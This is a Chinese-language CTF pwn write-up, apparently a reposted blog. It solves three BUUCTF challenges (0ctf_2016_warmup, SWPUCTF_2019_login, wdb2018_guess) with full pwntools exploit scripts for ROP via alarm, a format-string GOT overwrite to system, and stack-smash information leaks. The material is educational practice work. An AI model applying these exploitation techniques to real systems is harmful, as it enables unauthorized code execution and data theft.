BUUCTF-PWN刷题记录-15

0ctf_2016_warmup(ROP,利用alarm修改eax)

在这里插入图片描述
不能执行shellcode

在这里插入图片描述
有一个缓冲区溢出
由于NX保护,我们只能考虑ROP
这里有一个小技巧,就是alarm函数
程序开始调用了alarm
在这里插入图片描述
如果我们之后再次调用alarm,返回值就是0xa-过去的秒数
比如我们sleep(5),返回值就是5,刚好是open syscall eax的值
所以流程如下:

  1. 读入flag字符串
  2. sleep(5),利用alarm将eax置为5,然后syscall 将flag文件打开
  3. read将flag读出,然后write显示
from pwn import *

r = remote("node3.buuoj.cn", 25185)
#r = process("./0ctf_2016_warmup")
vuln = 0x0804815A
syscall = 0x0804813A
write = 0x08048135
read = 0x0804811D
alarm = 0x0804810D
data = 0x080491BC

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *0x080481BB
    c
    ''')
r.recvuntil("Welcome to 0CTF 2016!\n")
payload = 'a' * 0x20
payload += p32(read) + p32(vuln) + p32(0) + p32(data) + p32(0x10)
r.send(payload)
r.recvuntil("Good Luck!\n")
r.sendline('flag\x00')
sleep(5)    
payload = 'a' * 0x20
payload += p32(alarm) + p32(syscall) + p32(vuln) + p32(data) + p32(0)#open
r.send(payload)

r.recvuntil("Good Luck!\n")
payload = 'a' * 0x20
payload += p32(read) + p32(vuln) + p32(3) + p32(data) + p32(0x50)#read
r.send(payload)

r.recvuntil("Good Luck!\n")
payload = 'a' * 0x20
payload += p32(write) + p32(vuln) + p32(1) + p32(data) + p32(0x50)#write
r.send(payload)

r.interactive()

SWPUCTF_2019_login(格式化字符串漏洞,字符串位于bss)

在这里插入图片描述
明显的格式化字符串漏洞,然而s1位于bss上,这意味着我们难以指定地址来任意写
在这里插入图片描述
至于泄露libc地址并没有问题,因为main的返回地址为__libc_start_main+241,而我们使用%15$p就能泄露
但是要修改就比较困难,我们先看一下栈
在这里插入图片描述
可以看到栈上有一个指向栈的地址,我们可以利用%hhn把地址(0xffa01b68)中的低8比特改为指向0xffa01b64,然后利用%hhn就能修改0xffa01b64中的地址,改为printf的got表,然后故伎重演把0xffa01b60中的地址改为printf_got+2,把printf的got表项改为system然后输入/bin/sh即可
本来我一开始的想法是直接%n该got的,但是一直不成功,所以只能用%hn的办法一半一半来

Exp:

from pwn import *


#r = remote("node3.buuoj.cn", 28254)
r = process("./SWPUCTF_2019_login")

libc = ELF('./libc/libc-2.27_32.so')
printf_got = 0x0804B014
old_addr = 0x0804B080
# printf:0xf7d7b2d0 system:0xf7d67200
context.log_level = 'debug'
DEBUG = 1
if DEBUG:
    gdb.attach(r, 
    '''
    b *0x080485AF
    c
    ''')

r.recvuntil("Please input your name: \n")
r.sendline('aaa')
r.recvuntil("Please input your password: \n") #6 rbp 9 GOT 10 6->10
payload = "%6$p\n%15$p"
r.sendline(payload)
r.recvuntil("This is the wrong password: ")
rbp = int(r.recvuntil('\n').strip(), 16)
success("rbp:"+hex(rbp))
start_main = int(r.recvuntil('\n').strip(), 16) - 241
libc.address = start_main - libc.sym['__libc_start_main']
system = libc.sym['system']
success("libc:"+hex(libc.address))

r.recvuntil("Try again!\n")
got_addr = rbp - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)

r.recvuntil("Try again!\n")
num = printf_got & 0xFF
payload = '%' + str(num) + 'c%10$hhn'
r.sendline(payload)

r.recvuntil("Try again!\n")
got_addr = rbp - 8
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)

r.recvuntil("Try again!\n")
num = (printf_got+2) & 0xFFFF
payload = '%' + str(num) + 'c%10$hn'
r.sendline(payload)

r.recvuntil("Try again!\n")
num1 = system&0xFFFF
num2 = (system>>16)-num1
print hex(num1), ',', hex(num2)
payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%8$hn'
r.sendline(payload)

r.recvuntil("Try again!\n")
payload = "/bin/sh"
r.sendline(payload)

r.interactive()

wdb2018_guess(stack smash泄露信息)

在这里插入图片描述
这是一道特别的栈溢出题目
首先看到这题虽然有gets,但是开了canary
在这里插入图片描述

我们看一下canary触发异常报错代码:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

而argv[0]的地址保存在栈上,如果我们覆盖了它,就能泄露任意内存
gdb调试一下,发现我们的输入与argv[0]的距离为0x128

在这里插入图片描述
这里我们可以用一个got表项把libc泄露出来,但是flag报错在栈上,这意味我们需要栈的地址,而libc[‘environ’]保存的正是栈的地址,它和flag的距离与0x168

在这里插入图片描述
在这里插入图片描述

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 25262)
#r = process("./wdb2018_guess")
DEBUG = 0
if DEBUG:
	gdb.attach(r,
	'''
	b *0x400BA2
	c
	''')
context(arch = 'amd64', os = 'linux', log_level = 'debug')
elf = ELF("./wdb2018_guess")
libc = ELF("./libc/libc-2.23.so")
read_got = elf.got['read']

r.recvuntil("Please type your guessing flag\n")
r.sendline('a'*0x128+p64(read_got))
r.recvuntil("*** stack smashing detected ***: ")
read_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = read_addr - libc.symbols['read']
environ = libc.sym['environ']
success("libc_base:"+hex(libc.address))
success("read:" + hex(read_addr))

r.recvuntil("Please type your guessing flag\n")
r.sendline('a'*0x128+p64(environ))
r.recvuntil("*** stack smashing detected ***: ")
stack = u64(r.recvuntil('\x7f').ljust(8, '\x00'))

r.recvuntil("Please type your guessing flag\n")
r.sendline('a'*0x128+p64(stack-0x168))
r.recvuntil("*** stack smashing detected ***: ")
r.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105821282